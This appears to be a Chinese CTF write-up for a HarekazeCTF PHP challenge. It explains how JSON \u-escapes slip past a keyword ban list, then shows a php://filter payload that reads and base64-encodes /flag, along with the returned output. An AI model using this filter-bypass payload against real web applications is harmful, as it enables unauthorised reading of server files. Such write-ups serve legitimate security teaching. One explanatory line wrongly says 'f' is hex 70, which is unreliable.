json字符绕过以及伪协议
打开页面,发现是源码
1 | <?php |
通过分析源码,我们可知道
1 | $body=file_get_contents('php://input'); |
是$body将接受post提交的数据
而代码
1 | $json=json_decode($body,true); |
是将$body进行json解码
而从源码中的
1 | function is_valid($str) { |
可知,这个自定义函数is_valid()的作用是正则过滤掉一些关键词,从
1 | $banword = [ |
我们可以知道.和flag,以及一些协议都被过滤了,而我们看向这个if
1 | if (is_valid($body) && isset($json) && isset($json['page'])) { |
我们知道我们需要$body不包含过滤的关键词,$json和$json[‘page’]不为空,从而让我们可以利用
1 | $content = file_get_contents($page); |
来读取flag,而且我们还要让$content有效,且得到的$content不包含正则过滤的关键词,从而绕过这个if
1 | if (!$content || !is_valid($content)) |
而最后的代码
1 | $content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); |
如果得到的$content中包含ctf字段的话,会用censored来代替,通过对源码的通读,我们可以知道源码中只对post提交的json编码的数据进行检验,所以我们可以利用json转义字符绕过,即将字符转为16进制,并加上\u,实例
1 | f的16进制是70,则json转义字符为\u0070 |
因此,我们可以利用php伪协议来读取flag,即post提交
1 | { "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"} |
然后得到
1 | {"content":"ZmxhZ3tiOWRkZGExNy05NjI2LTRhODAtYTcxMC0wMzgxZTkzMWE1MzB9Cg=="} |
base64解码,即可得到flag